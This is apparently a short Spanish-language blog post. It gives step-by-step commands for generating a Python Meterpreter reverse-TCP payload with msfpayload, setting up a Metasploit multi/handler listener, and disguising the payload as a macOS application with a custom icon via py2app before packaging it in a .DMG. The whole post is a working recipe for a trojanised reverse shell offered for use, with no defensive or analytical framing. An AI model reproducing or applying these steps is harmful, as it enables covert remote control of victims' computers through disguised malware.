Crear shell inversa ofuscada en python meterpreter:
msfpayload python/meterpreter/reverse_tcp LPORT=443 LHOST=x.x.x.x R > shell.py
LISTENER:
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lport 443
set lhost 0.0.0.0
Para poder hacer el .py a .app necesitamos tener instalado en py2app, podemos instalarlo asi:
pip install py2app
Creamos el Setup.py
"""
This is a setup.py script generated by py2applet
Usage:
python setup.py py2app
"""
from setuptools import setup
APP = ['NOMBRE-shell.py']
DATA_FILES = []
OPTIONS = {'iconfile': 'NOMBRE-ICONO.icns',}
setup(
app=APP,
data_files=DATA_FILES,
options={'py2app': OPTIONS},
setup_requires=['py2app'],
)
Si tenemos un icono que deseemos poner recordar que para mac necesita estar en extensión .icns y dentro del mismo directorio que donde esta shell.py setup.py.
Creamos el .APP:
python setup.py py2app
Para empaquetarlo en .DMG:
hdiutil create NAME.dmg -srcfolder dist/Nombre-APP.app
-------------------------------------------------------------------------
Para probar el PoC podemos correr ya en OSX nuestra shell.py en terminal:
python shell.py
o
Solamente abriendo el .APP o bien el .DMG:
No hay comentarios.:
Publicar un comentario